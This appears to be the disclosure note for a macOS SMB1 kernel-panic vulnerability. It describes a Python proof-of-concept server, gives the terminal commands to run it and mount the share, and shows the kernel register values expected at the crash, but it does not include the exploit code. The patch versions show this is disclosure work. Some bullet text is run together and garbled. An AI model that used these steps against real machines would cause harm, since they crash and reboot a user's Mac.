
Proof-of-concept and technical disclosure for CVE-2026-84543, a macOS SMB kernel vulnerability that triggers kernel panic via crafted SMB1 responses.
This proof of concept is expected to kernel-panic and reboot an affected Mac.
The affected test builds used during research were macOS Tahoe 26.4 (25E246) and macOS 26.5 beta 4 (25F5068a). Apple fixed CVE-2026-84543 in macOS Golden Gate 27, Tahoe 26.7, and Sequoia 15.8.
smb1_unix_whoami_poc.py is the loopback evidence-capture server. It uses only
Python's standard library and:
_COMM_PAGE_ASB_TARGET_KERN_VALUE on Apple silicon;SMB_QFS_POSIX_WHOAMI (0x0202) response to create the
inconsistent count/pointer state; and0x020B) attributes containing recognizable canary
values for panic-register provenance.In terminal A:
cd poc
sudo python3 smb1_unix_whoami_poc.py \
--bind 127.0.0.1 \
--port 445 \
--log /tmp/CVE-2026-84543-poc.log
Record the printed ASB_TARGET_KERN_VALUE; it is randomized at boot.
In terminal B:
mkdir -p ~/mnt/cve-2026-84543
mount_smbfs //[email protected]/share ~/mnt/cve-2026-84543
With T equal to the boot's printed kernel-value canary:
x8 = T
x9 = T
x10 = T & 0x1ff
x11 = T
x12 = T & 0x7fffffff
x13 = 0
x14 = (T & 0x7fffffff) - 1
The specific bits in x8, x9, and x11 establish provenance. The observed
relationships provide a byte-for-byte link between the server's response
fields and live kernel register state.